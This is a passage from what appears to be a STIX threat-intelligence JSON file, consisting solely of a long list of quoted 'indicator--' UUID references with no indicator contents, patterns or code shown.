        "indicator--a6740ab4-acc9-41b0-ab25-b7efc3056d10",
        "indicator--bd4ca79f-0ac4-41e9-8e53-5e7c365dad9e",
        "indicator--d8eadf65-332f-47ef-8eff-3dbf4268618c",
        "indicator--987107ee-8c62-44d8-a3ce-33c0330333ad",
        "indicator--3cca6b51-7914-4082-9368-8701ff1b6bcb",
        "indicator--c8151623-073e-468c-bf22-24fbc13d9b4f",
        "indicator--edd5cc14-696a-42bb-a953-f7fa2f747bb8",
        "indicator--e1fe7a8d-8f4c-4cd9-a9b9-3f2d08d15a7a",
        "indicator--3cf13d7a-4ad4-4c82-85ba-79b332df6c10",
        "indicator--fefc7d44-e824-4a77-aa89-ab860c310059",
        "indicator--c7b4f647-6c9b-4d01-aa1e-24d925aa95c9",
        "indicator--4095c89d-1edd-475b-ad5b-5e014a8856c6",
        "indicator--acf27ebb-6185-4444-8e78-a4b3c72efbc4",
        "indicator--bf1bab8a-3e1d-4f78-b72c-64c0ae495e76",
        "indicator--e731cda5-c8e5-4564-bfce-1083b71b0a50",
        "indicator--e592d48b-5bb1-47e1-b651-83ae4f864940",
        "indicator--0f885a9c-7d4f-40b5-8513-115f05d3b928",
        "indicator--f4edb9fb-c58f-4c00-81c4-1a6c6f75a48a",
        "indicator--8134ec1e-7591-4c67-9d61-7d1e36ab9d84",
        "indicator--154ce8af-eedd-4ea5-ae2b-e46003bed7c8",
        "indicator--bd8b463d-d24f-465d-a25e-7e7877c755b7",
        "indicator--ba783462-4fd4-4f5e-8004-a09bfe0921a2",
        "indicator--5069c515-deca-4839-b232-91089ada7044",
        "indicator--6d0b1f10-9739-4f48-a74d-0b8a9cc3e85f",
        "indicator--505dbc16-e405-4c01-a7a4-43616222b880",
        "indicator--aa8d8a54-2100-4704-a3ad-f528e852a957",
        "indicator--be2fc667-d000-47fc-b3e3-6fe511512589",
        "indicator--9823cb0c-7b89-48bd-8571-2f3732477db3",
        "indicator--d9750462-da59-40a7-af1b-dc725842d85e",
        "indicator--ea49736b-93d3-4ef1-899b-bdcb9905f9d0",
        "indicator--c4abb904-98de-4c0b-91f7-fc0411a61d9b",
        "indicator--5f3e6b80-b39b-4d18-8e11-e63a6a4a1c5e",
        "indicator--f13d28bb-c33d-4db2-8bca-808cd0ffd859",
        "indicator--d8bffed8-1aa4-4092-99ea-7250ff75ae82",
        "indicator--c42beedb-1b87-4e37-9b99-d096522423d5",
        "indicator--26fe616e-8db0-41e3-9cf8-95e4f1c0ecf6",
        "indicator--ade1d463-b99a-4458-abdc-c7d9ffb15bc9",
        "indicator--803f8d84-ea28-4309-8e99-62d1395aa96c",
        "indicator--b0623819-e12b-4e2e-b102-c284426fdedf",
        "indicator--3a9adefe-e114-45b9-bba8-0f9c71b628d6",
        "indicator--ffc0428b-bdbd-41dd-94ef-0f561eeaa5bc",
        "indicator--adb0f1e7-aec5-4385-b9f2-f3ad9393b4cc",
        "indicator--a1c61d7a-b347-4c2b-a16d-5d30aa0185b0",
        "indicator--cf770ad4-e995-4b67-92dd-1048391f03e2",
        "indicator--c18a2938-a43c-4c04-93a2-c9aaae976c5b",
        "indicator--aa18f18c-41eb-4337-b187-69f850de1613",
        "indicator--5e58c20e-d703-481d-96a9-f1ee09e3aee5",
        "indicator--be50ca16-c407-4642-a89f-9128f7ee4be1",
        "indicator--6b52aa91-0204-4bce-b59e-33f35c8c3c20",
        "indicator--0e360b76-6be5-4725-a90a-92d868014075",
        "indicator--a4013f94-97c4-4291-9782-4f04337d8cd4",
        "indicator--0b127422-43bb-4f98-8b59-595cecf6eb45",
        "indicator--bf30eb16-9715-4cbe-aa73-090af2ccf572",
        "indicator--34f80bd7-d9de-42f1-9057-d0b835dc2b31",
        "indicator--406504aa-f8fb-4fe7-8342-f3c723ae8462",
        "indicator--7eac09ef-374f-42de-a268-b9d42598c225",
        "indicator--ab0b8139-4c20-486b-86f0-2edbe6a6cd39",
        "indicator--31ef02c9-23b9-4ae2-b1fb-e49a350260a8",
        "indicator--eabbb879-bd91-40c3-af19-d86632446c89",
        "indicator--2d547a59-fd70-4009-a0d8-f83808a552f5",
        "indicator--d1628ee5-ea67-4551-9986-d4469ad125e3",
        "indicator--b86c62ab-d569-4d2f-81dd-cb7d9dc63f99",
        "indicator--37ae065c-4338-4a81-b2df-f98eea18f855",
        "indicator--8583ae4b-6bef-4b69-899e-741d2d1056b7",
        "indicator--37ba7ed0-34ac-4fd8-a23b-02e866fb0336",
        "indicator--4970e057-1251-41b4-b4f9-5ea4b568ee81",
        "indicator--d28d437d-4db0-4cad-85c1-4401d1218bc1",
        "indicator--f0855bb1-0cff-4054-af91-d7b9a0868a79",
        "indicator--38079a31-1976-41da-8b19-0a85d823b168",
        "indicator--ee1dbc57-953d-4767-9e2a-7616a4e220bc",
        "indicator--0c10230d-ffad-41d3-b4ca-b07a5717ea6b",
        "indicator--7ad54b66-3988-47d7-ace5-beaa97576351",
        "indicator--b945c6a2-83a6-424b-94bc-04df3c9e432e",
        "indicator--a5b4a3c3-05d9-46aa-b809-30993413108b",
        "indicator--83f20208-685d-44f7-90a0-8cde07d59bcf",
        "indicator--00774594-af79-478a-95ad-bc79929e400b",
        "indicator--78b36540-ea30-4a2a-8821-f21a28877b41",
        "indicator--19390da1-8c31-4f38-94ad-e80d9c1350f9",
        "indicator--42994839-1bfe-4837-be39-3d7fcd69a4d0",
        "indicator--6b40c132-9eba-4a73-92a3-fd1de5dde934",
        "indicator--0fe8ee0d-c9b0-4dcf-b007-fe029f16d3d9",
        "indicator--2a04919e-acc5-4842-87b1-cf5bbe0cd647",
        "indicator--73742297-af2e-4a91-ae1a-d07489a2dc49",
        "indicator--b3d26cfe-847e-40f6-b2e0-03d6424b98c5",
        "indicator--43c7b340-6e25-4ae1-bf7b-13213375ebc1",
        "indicator--599ce174-2b4e-4341-aa3c-1d746658d486",
        "indicator--80dcdf27-e39b-4770-9ee8-116b5de46a54",
        "indicator--322ee2b0-ff97-4e72-ae4d-2bf62863d934",
        "indicator--9b3ebe57-994c-4e3a-b2c3-66ba50def71e",
        "indicator--36d93335-68a7-42a8-96ef-8104d7bb3057",
        "indicator--a9f215a9-d00c-4124-b8e9-e12df10acfd7",
        "indicator--3344ec70-169e-4369-bdba-b1b25355cbe4",
        "indicator--22ff0ec2-6604-4d97-8bde-a27355df6a05",
        "indicator--6ea815fa-3019-4314-822e-0a8db970e857",
        "indicator--1a23d821-ff22-476b-ac9b-a6edd3905c3f",
        "indicator--90edb2e6-0d10-4401-a6e5-2754881a184a",
        "indicator--fa79c169-2f6c-4bb2-ad38-42b372cc1391",
        "indicator--835feda1-5c82-424b-ab4d-8b184d5765a5",
        "indicator--f3cb4b21-cc2c-43eb-a3aa-9c78fd82596f",
        "indicator--c8d71e2b-5d6d-45d6-8ed6-80b31a285781",
        "indicator--446dec01-9dee-4151-b9ca-0bd1cb49ad1a",
        "indicator--ecbe3ce2-c549-4e47-bd95-b3852a957085",
        "indicator--4cb498e5-60a6-4441-b920-e1a20b915de4",
        "indicator--a2bd3907-1651-445f-86a5-2bdafa7c825f",
        "indicator--57182509-aa89-402c-960a-ee96fd10b9f9",
        "indicator--493fe279-f032-4f51-bb49-beabaa5a5a3d",
        "indicator--ce81bc75-b31e-4ef9-aa4d-c1a3c357f91e",
        "indicator--fd8c1782-a683-42b0-97be-f2da25ba3d16",
        "indicator--c36f2837-6aaa-4775-a06e-1874a96f7196",
        "indicator--dcdb4eda-c88e-41f5-a259-ff66af9fcb74",
        "indicator--54ef7b87-24cf-4ba6-8ef8-5b4c66e0298d",
        "indicator--a1952333-7e22-4c7c-8692-815a10dadd97",
        "indicator--ce74dfe6-08c7-479c-baa8-b85c95c47f3b",
        "indicator--3adde002-b7a0-43b5-9d66-bec21ccd3aac",
        "indicator--24e9bb38-4675-4ae5-ad10-4096bde62a0c",
        "indicator--7bea7f73-7a20-4984-a820-3f7377458f38",
        "indicator--b496ecf6-24f0-4c63-b72a-9129d958c407",
        "indicator--3ef2bc79-cc3f-40be-abb4-1f2f37838d27",
        "indicator--fcafcee8-bcc6-4b69-b045-2977f9827002",
        "indicator--27692f62-42d9-4af6-a1af-76d432c83f01",
        "indicator--1a7280f4-d8af-48a0-b413-6bf1e8fbdb1a",
        "indicator--719362d2-0d99-4724-9b60-d2015b1af53a",
        "indicator--7dd89a16-02e1-46a8-a76e-a101ed7dcf8a",
        "indicator--e73df476-6875-4e49-aa99-cda2cf340cf8",
        "indicator--4d44dded-494a-4dea-bb73-9b9c1d1d0d02",
        "indicator--3f6ba28a-51a0-4124-9ca6-f6cc0e21e095",
        "indicator--351cad2d-428b-4885-8852-b39e0fc0128a",
        "indicator--ba55c749-9c81-4546-af80-724bd7451b33",
        "indicator--32ef8a56-ff5c-4aeb-96c1-dd76cbd85a35",
        "indicator--3be1ff6d-1fb3-4b4b-ad7d-58d48f57e5ea",
        "indicator--825e34cb-9283-4543-be3a-ead1107f7e88",
        "indicator--701e3a49-aafa-4c05-be4c-2592dae0b99c",
        "indicator--b3d2c344-38d0-4f1d-ae12-62dc6b0e283d",
        "indicator--930d516c-ddb3-4e47-9c7e-9f75b1af9d38",
        "indicator--602664ce-b1e4-420a-89e1-b6352467cebe",
        "indicator--86ae3ff1-db60-4b8f-af39-3f9fd2222343",
        "indicator--27b9f2a4-4bbd-43fa-81b4-74ec7117e48f",
        "indicator--a62daebb-ca65-416f-808a-1bee8679e8cf",
        "indicator--886ab8a5-8c5d-40e2-b96d-fa4b5605f80a",
        "indicator--f1776f64-e64c-485f-b134-f2050371344a",
        "indicator--d90931f5-1e61-47c3-a7ee-526e861b5e27",
        "indicator--0fc62b16-0286-4fb4-8fd7-368ae9fd12c2",
        "indicator--163647ab-9101-47df-b418-f22af26d0f28",
        "indicator--38734ba6-0c04-486b-ac17-54d4c3f486f6",
        "indicator--cf9f5b15-fb84-439a-ad3c-a7d93a9ae31a",
        "indicator--74dec2d4-43ef-4811-90ae-2375a8bf9891",
        "indicator--d8919386-af48-41d6-870d-4ddc18d687c8",
        "indicator--ee5b2527-d688-45db-b51b-eb3228dba780",
        "indicator--4e84d375-0341-4b98-843e-c81df998d7ff",
        "indicator--df4920b1-462e-471c-98f0-75faa71c47b5",
        "indicator--0562d30a-8954-4bda-9500-9568c85e79cf",
        "indicator--7404a6d4-0e23-444e-95c1-b8bec370e74b",
        "indicator--3572e036-3b97-43b9-ad0a-8c1d1c1a6684",
        "indicator--cc349f75-b8d4-4a2d-9965-a9d2c7b4514f",
        "indicator--6070cc22-3aa3-4728-a0f2-fe8ff07b093c",
        "indicator--2e866085-0e24-4b1a-8a75-d5cbc8d38af3",
        "indicator--838aacb6-428e-4df5-8cb7-6e0d58633398",
        "indicator--d505edb0-e1b2-41a6-a277-aaf4afc7ec74",
        "indicator--c6948430-54c8-454b-b737-eca588b8a0e2",
        "indicator--5c7f1395-ea3e-4d0e-a669-378dd10a92d1",
        "indicator--272ce99d-a00c-4efb-b9ff-8e4dfa3aee3f",
        "indicator--5d9d1c40-ae4e-4cf5-b8cd-4c7ed2129fc1",
        "indicator--80596938-a7ee-4070-b9b9-2e87cf9763b1",
        "indicator--8638599f-ce66-4f4d-814a-ab18015838a1",
        "indicator--fa3229d3-6d1d-4eb8-ad64-55b76b05adf7",
        "indicator--3062b7e6-d198-46c6-9148-cd4565869938",
        "indicator--7c833646-3700-4e24-a1b1-ef3c95ad8655",
        "indicator--11c238b7-4fed-42c1-ac6a-cb37ce368d55",
        "indicator--2d044c46-6532-4cc7-a8cb-91d49dc110d5",
        "indicator--234c0c2b-8c5d-436f-86ee-036fe5530739",
        "indicator--01a74e52-8618-432e-aa35-6b6b66b3826c",
        "indicator--652a5959-99b9-4f14-a309-f297eb3db841",
        "indicator--5c7c325d-a080-4684-9f66-048c9e1b4bf5",
        "indicator--c4dc96c8-94f4-47ef-aae9-f23152fe0e61",
        "indicator--437da756-5a65-4c6d-9f38-93453d961116",
        "indicator--9465e6cb-3f87-4dac-8f46-518fa708b762",
        "indicator--5f31ba93-1ef2-4a67-8c80-3df1bf60f784",
        "indicator--b4fbea15-e09d-440f-b09c-83232ed484bb",
        "indicator--935837dc-8d07-487e-b21b-fc397251296d",
        "indicator--5bd2c4c7-c338-422e-b05f-08f58326333a",
        "indicator--7ec0add3-af64-424e-a7f2-f06824a47037",
        "indicator--504a2057-bee2-4249-ba9a-01b8b2b295c4",
        "indicator--ed2334aa-3fc5-455b-b72b-c01ad122b82e",
        "indicator--a06b4c86-e229-4a0c-a6af-b6174a0b4732",
        "indicator--6c3b1e94-b196-495d-a3ff-99b4c8b0c032",
        "indicator--5288aa69-9868-493d-b91e-0cd7ef3757b6",
        "indicator--4a7893f0-bb4d-4e9b-9c2b-41a338aac17c",
        "indicator--9754920b-58dd-44d8-a44d-4e3476330439",
        "indicator--02539d81-ee70-4618-bbde-b06b41eeb60b",
        "indicator--32fd6dba-3cac-46c4-a4da-f023d3ff66ed",
        "indicator--2b58979f-8cc4-4f82-8240-6c3e447bd6d9",
        "indicator--6b6cc5c5-1909-4fe3-be6e-854a2cd7ed22",
        "indicator--ca41292b-f310-4b6e-b2a3-10d7973506c6",
        "indicator--4b06da59-d3e9-4b73-902c-955f8e5a025f",
        "indicator--ad827128-94e9-47c5-b3cb-5bf9e9cbaf03",
        "indicator--ef87f402-d742-484f-bb78-e33ab6da1a0a",
        "indicator--1c12f6d5-7437-4877-b017-8840150e700e",
        "indicator--2e35b40d-5a00-4e2a-8fec-6ba6d551bf97",
        "indicator--0eafe38f-7ef2-4715-9eb8-588963675796",
        "indicator--8a3ca5b1-cfe4-4dab-bd78-4f273c94a253",
        "indicator--f53bb145-a5f8-4587-a8ff-600ced0960a1",
        "indicator--d9cddd03-2fdb-408c-9c7c-3aa49191842b",
        "indicator--e1c2c19c-dc7c-4872-a9e6-529a5bfedab9",
        "indicator--a714f7da-1f8c-4a98-a4dd-0598df3c0624",
        "indicator--77a95fa5-5fe0-468b-95d5-e168af143edf",
        "indicator--3d8ea1de-4173-466c-a805-1ca2b9caac49",
        "indicator--10999bed-d1c8-400a-a84e-f3110efbcc59",
        "indicator--3f4b1fc5-8740-480d-bbc7-cd1a9d4c6636",
        "indicator--3c5b82f8-21d2-4978-94dc-1d0a22687a01",
        "indicator--e7aa016c-f901-44f6-812c-8a1c5671294a",
        "indicator--fc7c1118-39be-41bb-b86b-4fec0666f4cf",
        "indicator--152307bb-778c-4c40-b931-c5d6db34fea6",
        "indicator--9ce9fba7-6532-428b-b559-366a8a74a9b8",
        "indicator--4661d10c-0b0c-4145-9387-ab1e431d2a78",
        "indicator--2b51cd90-dab2-4202-a946-63e27009c26e",
        "indicator--9a39d01a-8370-4483-a755-543c429a673e",
        "indicator--2eb4ea58-51f6-48ff-84c6-6dd2e4f7fedb",
        "indicator--742b9bb2-1d45-4a5d-952f-9352d8f3e4be",
        "indicator--a3b14bbe-5af8-4905-aa26-e6e7e9bbee00",
        "indicator--24788ee2-bbd4-4f54-826b-9882cacf540b",
        "indicator--ad019826-b383-430a-9acd-9f2b61fb2445",
        "indicator--29d485d1-318b-42f7-8799-327d0b2e21da",
        "indicator--c4bffeaa-8a8d-4c8b-83da-cbb72ba42b4a",
        "indicator--de2155ff-7ccd-47e8-9ff5-6de6b2c75e56",
        "indicator--f5c8a090-d1ba-4579-8a91-a0463f620c10",
        "indicator--09386008-49cd-4184-9d56-9688e2515e10",
        "indicator--05256e23-b3b0-4ea2-a8a4-929575d655c5",
        "indicator--6e947057-eaa0-46d9-aa75-b96b1d6bfa20",
        "indicator--846948f5-2a95-4ce9-9419-1277f193ddde",
        "indicator--d81fafcd-7595-445a-8740-0a6982e73ba0",
        "indicator--ea8b62bc-d851-45e0-8dde-cfd4f1d35188",
        "indicator--a02bb7e4-a3a5-4d9b-9623-7b00e2876bb1",
        "indicator--109d923f-839d-45a3-bfa1-b15877d5ce64",
        "indicator--ad1af1cd-644a-44c8-a053-e6098af6b5bf",
        "indicator--e0135839-5b19-4f71-b73e-07ada430f438",
        "indicator--e411e6d3-f402-425f-9888-3fbfca5097eb",
        "indicator--397b6677-e44c-4fce-b026-40665e61504e",
        "indicator--c0586bff-1ad3-4e5e-b999-10b44d724a68",
        "indicator--922e3658-cd97-4700-8339-0bd28ef4faa7",
        "indicator--1a71d451-34db-47d2-aba5-fdc399ac13d0",
        "indicator--6b8cad78-bc1e-48d1-999e-943650109cfb",
        "indicator--7494750f-0b12-48fe-b211-15dbdbe42630",
        "indicator--4d17b7c6-5a2e-480d-b5e9-455bc9258d13",
        "indicator--76714659-7e28-4c9a-ac99-cbc835e0659b",
        "indicator--ffd3d82e-5bcd-46b0-998e-966f22f54af6",
        "indicator--5707027d-6808-4163-a3a2-881f14049e88",
        "indicator--e79892b0-3ae1-4210-afbf-a1d171ea95a2",
        "indicator--08830e75-4d53-440e-a474-078d1b49e00e",
        "indicator--d0c747d2-4eab-4309-8a85-83e19ab3393f",
        "indicator--807ce508-98da-4f29-9dee-aead1c4e0882",
        "indicator--bc828986-3bc0-4aeb-9476-aec1f8ba9347",
        "indicator--bb182cbd-b623-41f0-b428-78b998471a6e",
        "indicator--dcbef8fd-c501-4465-865f-3c0640147821",
        "indicator--6bacb4ba-dbaf-4b5d-ac15-adef5bf2215c",
        "indicator--15b07f4d-9551-43ee-bcc3-212c3c1c42b4",
        "indicator--436614d7-12ca-4001-a366-f1323aa612ef",
        "indicator--242183a8-1507-44e4-88ce-de852a412164",
        "indicator--90821ad9-e50d-4789-be3a-fd0de4325969",
        "indicator--406516fe-0ef3-4844-be28-b12584ed7455",
        "indicator--38b25e48-e37e-4221-98f4-07605e0a34ec",
        "indicator--8756cff3-b0d3-4bdd-998d-5d4ef2c21058",
        "indicator--ffd5cfc4-647c-4a5e-821a-6efea2f3d236",
        "indicator--0ccb8f3d-f2a7-45b3-bcb6-aca74fb38afb",
        "indicator--78f4bde2-11be-4334-9fa1-7f93fd2ef0ad",
        "indicator--c4374ead-d0a1-4e93-8694-480a9d2b36e6",
        "indicator--2cdfb43c-7f1f-49e7-a474-66417ebc3555",
        "indicator--3fa013d8-92b6-4cc6-bfae-bbaca3ac89e7",
        "indicator--85334f1d-eab5-4f0f-821f-db6cc43beef4",
        "indicator--56a3cb82-0791-46ba-8db4-679255576602",
        "indicator--f52271de-365c-4591-9832-27fa7eb6cbe0",
        "indicator--49a9d8f6-a72f-4252-a14d-e7d244e92d6e",
        "indicator--97eecc06-9ba3-4794-9149-87852fe07689",
        "indicator--fe8a1835-c6c9-4f6c-9aa8-0ccc776a3b8d",
        "indicator--96dfa10a-031c-4167-a012-2f96e500650c",
        "indicator--f3d50e43-f003-491f-abfb-4db2e7027005",
        "indicator--a9f0690b-8adc-4535-83ce-ac65aa08b1fc",
        "indicator--26d7dabd-1276-4629-861c-7d103d78a7a1",
        "indicator--0475db6b-5f3e-4d66-93e4-2051653f6cbf",
        "indicator--1851b2a7-26f2-4634-9c06-458279029d25",
        "indicator--798b727c-980b-44e8-9994-b155dd62109f",
        "indicator--0d9dbf91-7679-4834-9486-fd5cf765e5ef",
        "indicator--27b3cdef-ed06-4893-aa9b-5dffb24ca936",
        "indicator--e5ea510e-6f2a-4f34-b0fd-261b6178edee",
        "indicator--ba26a27e-f67c-4940-adba-c5db37a7a096",
        "indicator--df17f8d6-8125-438a-a451-1462a2fbc4fe",
        "indicator--91b64893-e979-45c6-ad6c-ffa2a13c69c4",
        "indicator--dbf2b256-ee2d-423d-959b-7c0a2e7b6a50",
        "indicator--ee2bd100-7a52-4b6c-ae02-e3b9774c0e21",
        "indicator--d2898ff1-32a3-4336-ac30-1f9851c357d9",
        "indicator--aa73fdc4-aa60-4c95-9c5a-a0a4d342cb11",
        "indicator--2229f3ee-5a11-45fb-8178-345aeb88ee2e",
        "indicator--6fd1ccdd-e613-44b9-a9a9-13c989c279f2",
        "indicator--52c61467-1d1c-43fe-8fa6-26ca8c2856f6",
        "indicator--deff8532-f350-4eba-b380-4b765863a8be",
        "indicator--0dd60151-801d-46a2-8043-4f8044ac5d25",
        "indicator--a7aed8ed-ec15-4405-8c91-2dbdecf23f66",
        "indicator--1861f74f-9487-46e3-b18d-99e2440cb955",
        "indicator--71ec12d7-3478-4f8c-83d1-10fb41a9dd3a",
        "indicator--fc1f5ba3-055f-4d9a-8802-0be541ea22cb",
        "indicator--51c7737d-b2ad-4aea-a620-60eb9e523918",
        "indicator--07191b7f-f173-4f64-ae77-e7180943c0ae",
        "indicator--bf7cfdba-1849-420e-ad41-5ce42107e1d3",
        "indicator--bbbe8adc-43d5-46a4-8eda-4bc15542e111",
        "indicator--42001512-84f9-4497-a4f4-2ec324b83445",
        "indicator--148cd144-e1ba-4a2b-b2e2-97d685a4a2f5",
        "indicator--b17d5fb8-34b5-4cbd-82f6-301cbc6591dd",
        "indicator--07691f1a-1767-43e6-a269-b707c1de14de",
        "indicator--fd71afff-6fd6-438f-a766-1a36085ec3dd",
        "indicator--733ec9f9-d54f-4271-88a0-212d113621a1",
        "indicator--6f53a1ce-23f6-42da-bf4b-a7d1bb70d9f3",
        "indicator--b83280a3-3aa4-4720-b5fa-adaa2c59d9b8",
        "indicator--33064f6a-2b8d-44b2-9204-b22ce7e31087",
        "indicator--d48f8c81-56fd-4a4a-8934-811d72e81552",
        "indicator--4b029370-471d-4bac-9281-fe26d2734477",
        "indicator--09157ad7-a476-4034-a0ca-83e95ce11f25",
        "indicator--391da19f-e48a-4f46-b096-793be26847cb",
        "indicator--8be2e75c-4122-421e-bf12-be030fdf17a4",
        "indicator--01e0fb54-e98d-47d7-a504-dbd72fcc8d74",
        "indicator--8122c05d-2757-4aec-8bc7-d2cd1de5fe2e",
        "indicator--63a94ce0-c75c-4092-b992-f8ec72794c6f",
        "indicator--c5ca555a-9495-4565-be11-58a016c1122a",
        "indicator--4f0e7ab5-c4a2-4520-953d-225a834162e5",
        "indicator--94b91253-23d2-48bd-a05f-f9651e2cc163",
        "indicator--1210a176-3f27-4982-8559-fad9d7d5d274",
        "indicator--9f58df99-f898-488f-adf4-b80fefdd3d31",
        "indicator--356729cb-aa26-4188-bc93-6972983f1de3",
        "indicator--e70e019e-4043-4583-adce-17e3c0de3f9a",
        "indicator--0c3c36bf-49bb-4614-8f09-d0347a0a7742",
        "indicator--ba3eaedd-3d3c-4527-9257-2dab3ef46599",
        "indicator--5309b7e3-2cdc-43a2-9213-f808477ce062",
        "indicator--ffd8fe45-e913-4577-b14e-a67f7ae7cdb7",
        "indicator--cb52e5ee-fdaa-4785-8ea4-0d0c12cdec07",
        "indicator--d3b79e12-3e88-4cf9-bdc4-119c28865e35",
        "indicator--5d4c0c02-7ad5-4d59-98d7-d1eb4e4f0c11",
        "indicator--a9b84e3b-4933-4f7c-a06a-fcbc7b76ce95",
        "indicator--524eb44b-72a3-4ce2-ad55-4a65c2de145f",
        "indicator--7eb5d021-af8f-40d2-a341-e6d34df417c6",
        "indicator--af4af0ca-60c1-421f-b381-34b4be755277",
        "indicator--ef952c58-445d-4537-9f56-9c435ff286d6",
        "indicator--653665a1-baa5-4a25-b1b0-7d2951b8cabb",
        "indicator--c9588939-2bcd-4bb9-9704-7aeab9dfd992",
        "indicator--7e2e2ead-211b-4816-b3d0-22ef93a08a20",
        "indicator--0f66d807-1840-4fda-9e39-7c96de2251e8",
        "indicator--5e018229-556b-4dbd-b37f-f1ef78742c25",
        "indicator--63771f39-0d9d-4693-8797-5c61ad07c003",
        "indicator--cf1b8648-92b3-410e-b659-8318bf8f3a52",
        "indicator--081f9401-888e-4ca2-af8a-ffaba4a14d50",
        "indicator--cc37904f-ecaa-4617-bc4f-c19eae58a22d",
        "indicator--eada3575-5c14-4881-8270-45b03e839802",
        "indicator--3eac7493-7b3d-48aa-a31b-8d25d44303ef",
        "indicator--0142ad15-132d-416d-8d88-c91898fcfcb9",
        "indicator--757387de-cb09-48d4-bcd8-bcddef40a3ed",
        "indicator--14dc0058-9864-4eff-994d-dae3d3c9bfed",
        "indicator--67f0da2d-1a8e-474e-aa8d-67298ebbb7b0",
        "indicator--a137e623-3cdb-479f-b93a-de2cdb4c20a3",
        "indicator--ca458227-7114-4bcb-8b89-61e731ebf839",
        "indicator--7739e7f7-2203-4bd6-8044-4e3c3e036d25",
        "indicator--19d179a1-32b1-489e-8744-7b1505e0de95",
        "indicator--a738b104-4071-430f-90b5-a88cd8a92e62",
        "indicator--f7ea42ed-e936-4fba-a96b-45afc7d24d00",
        "indicator--b05442b7-da4f-43ec-a43c-5de87aaec7b2",
        "indicator--cb37641d-9d06-4747-9c66-3bde318d779c",
        "indicator--1d1c60b1-7c1d-4a05-b759-b6e47af9c2a0",
        "indicator--719cb350-574b-464b-92aa-dd92ac4356a0",
        "indicator--0849d82d-cf76-4999-aeef-1ccc6dfed9eb",
        "indicator--170dfe2f-1441-4844-8522-052cb5e1408e",
        "indicator--d334d333-447a-4d32-a898-48930ce80c5d",
        "indicator--bb024e41-9ace-4411-a240-16b740e62f8c",
        "indicator--ed883d5b-d97e-46f5-a47b-d5bb3c480229",
        "indicator--9ca3c354-ab93-4f8a-9159-1799a917258b",
        "indicator--8dcdf15c-2831-4c0b-b009-318b5b801953",
        "indicator--0d1ac70a-0230-4991-9ba5-245c464909ba",
        "indicator--2c84e3dd-fbde-4ca3-a7a1-948f371c6538",
        "indicator--d9734901-ab73-4838-80bb-2d654a29bafa",
        "indicator--f0912112-b13a-4795-93f0-3949ae5c98e8",
        "indicator--206e0d42-38b1-457c-8f86-ed68cf408f09",
        "indicator--9935b90b-891d-4d02-bac9-33bbfee6a026",
        "indicator--624cbe5b-9fba-433e-9b5c-8440d950d0f4",
        "indicator--e42fbfc5-1491-4c7a-aba0-840b5dc69dcf",
        "indicator--8015aa4f-8e60-4575-8961-215b279657c6",
        "indicator--0cf49ea8-9e89-4b92-90c6-a2de6bac2695",
        "indicator--436740e0-a8c4-40c8-a618-2209526c6c7f",
        "indicator--92a52213-c9d9-464a-a1ff-b3e79207b7c8",
        "indicator--0a88c74f-d5cf-48b6-88a3-655ca35d96d4",
        "indicator--becfd0cc-d515-4e82-9b3a-105897c94c03",
        "indicator--4faedb30-ba92-45a8-8b90-6c543ec7b616",
        "indicator--1f275830-e1cc-44cd-a229-c19105423f28",
        "indicator--5c9c9ba7-6803-49d1-9f7b-84a8a1563cf2",
        "indicator--38d94ba8-b14a-44ce-90f9-543e7942f1c6",
        "indicator--9bd40398-d524-4202-ad1a-898035fa6ef2",
        "indicator--a8ac5743-de44-4502-9e6f-5ad1bfe174b5",
        "indicator--8a71011b-7bb3-4c6c-86a7-dad292271949",
        "indicator--6cd8666b-4b99-4c41-a0a9-70f416aa0c7c",
        "indicator--b06a2c4a-d2d0-4e88-b7db-6363b1551ecc",
        "indicator--c4143c81-ca52-4a5e-b429-ebc75490dbe6",
        "indicator--b08754ef-1bd2-4489-a0ed-bf694d20c60e",
        "indicator--f94798a5-6b42-42d1-a379-6e2e43304a0a",
        "indicator--a9dbf4a2-8723-4479-a88e-1395d80b7cd2",
        "indicator--17182e91-a7f9-46b7-8173-dbe284ed419c",
        "indicator--f1ec5304-3ec8-4bf8-acef-6df427d74888",
        "indicator--f67a5c33-28c1-4bcd-8fc5-d442b814725c",
        "indicator--46c9a5da-5e3a-484e-a45e-dc4e4974a170",
        "indicator--417dc152-55ae-41fa-947c-6329b011217e",
        "indicator--146900ad-822e-43ee-b0e4-ee94b864e7a0",
        "indicator--fb68a155-668b-453e-a50a-47818312b4db",
        "indicator--219eb317-60e5-46b3-ad4b-a4b44344b7c8",
        "indicator--69f7e924-3ffc-4be5-a8d9-6a318ccf9a0a",
        "indicator--cac242fc-80b1-4e8e-be23-4ed3c917d721",
        "indicator--95beabf4-8e6d-4818-ad23-3376253113a2",
        "indicator--85d27f5b-1f5b-45f8-b867-a9ffa1957199",
        "indicator--9ccd29b9-8726-40cd-ad64-d954ba763986",
        "indicator--53ce8a51-b71d-4411-a28e-0fa1c25a858f",
        "indicator--325eae2b-7f62-44af-aa41-083f47d6b33c",
        "indicator--a1f38212-9eda-42ba-a823-284fb0f6ba69",
        "indicator--56f9e389-d537-4019-a993-b9084370476e",
        "indicator--b438d62e-fc53-4398-bc43-bc9ecabc3aca",
        "indicator--117c5d6c-9e3b-40a2-85e4-6c9e52aa374b",
        "indicator--c9685f1b-2a68-4e5d-8cb7-9bd113c50d1f",
        "indicator--809e80ef-9f0c-4e81-8041-61e148bec1b1",
        "indicator--3cb8685e-102a-469e-b5a0-13e6530c346a",
        "indicator--4429d437-ca07-41ba-9c89-ff6286ada32b",
        "indicator--fed30422-7298-4ab1-a7a7-747f72c40efc",
        "indicator--15f49c80-e802-4f4a-84d7-66c15d4bceb5",
        "indicator--a2a7faec-2e66-4f21-babe-0bd78fbdde1d",
        "indicator--34cb1665-d604-433f-97a1-cb237f9f1706",
        "indicator--2906a7e9-b613-49ee-8f57-6c62e6e282d0",
        "indicator--94500951-517c-4260-a41c-2ee4bf6a538b",
        "indicator--6f472b6e-74e3-487a-8227-3506aa351740",
        "indicator--7f3a91aa-80c3-46e0-967a-0e399e84d03b",
        "indicator--ff612d3e-ccc5-4053-927b-1fd93bb8f700",
        "indicator--6ed7fae7-dc69-4a9c-b9c2-bd8d3dacd672",
        "indicator--425a530e-5ff1-4a22-aa75-d121c17c5135",
        "indicator--f826c654-ab2b-4c59-bbf4-daa26afc1e34",
        "indicator--9a30e600-f056-478d-af03-d04f5415e403",
        "indicator--44b886c0-6c3c-4d1a-a8d1-a56ad996d922",
        "indicator--ee17dcdd-f4aa-493e-9a90-73a365bea396",
        "indicator--58b64114-9228-476e-a3c2-fa35bca47201",
        "indicator--8a1d27eb-d5a6-48ef-9b74-f797299660e5",
